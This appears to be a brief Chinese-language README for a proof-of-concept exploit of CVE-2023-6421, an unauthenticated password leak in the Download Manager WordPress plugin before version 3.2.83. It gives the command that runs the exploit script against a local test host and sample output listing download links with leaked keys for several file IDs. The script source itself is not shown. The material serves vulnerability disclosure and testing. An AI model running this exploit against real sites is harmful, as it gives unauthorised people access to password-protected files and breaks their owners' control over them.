CVE 2023 6421

CVE-2023-6421

下載管理器 < 3.2.83 - 未經身份驗證的受保護檔案下載密碼洩漏

描述

該插件不保護檔案下載的密碼，在收到無效密碼時會洩漏密碼

POC

 python3 CVE-2023-6421.py https://kubernetes.docker.internal
No link generated for ID 1.
No link generated for ID 2.
Response for ID 3: https://kubernetes.docker.internal/?page_id=3&wpdmdl=3&_wpdmkey=6706819b904ce
No link generated for ID 4.
No link generated for ID 5.
No link generated for ID 6.
No link generated for ID 7.
No link generated for ID 8.
Response for ID 9: https://kubernetes.docker.internal/?wpdmdl=9&_wpdmkey=6706819f1b1f6
Response for ID 10: https://kubernetes.docker.internal/1-1/?wpdmdl=10&_wpdmkey=6706819fa0654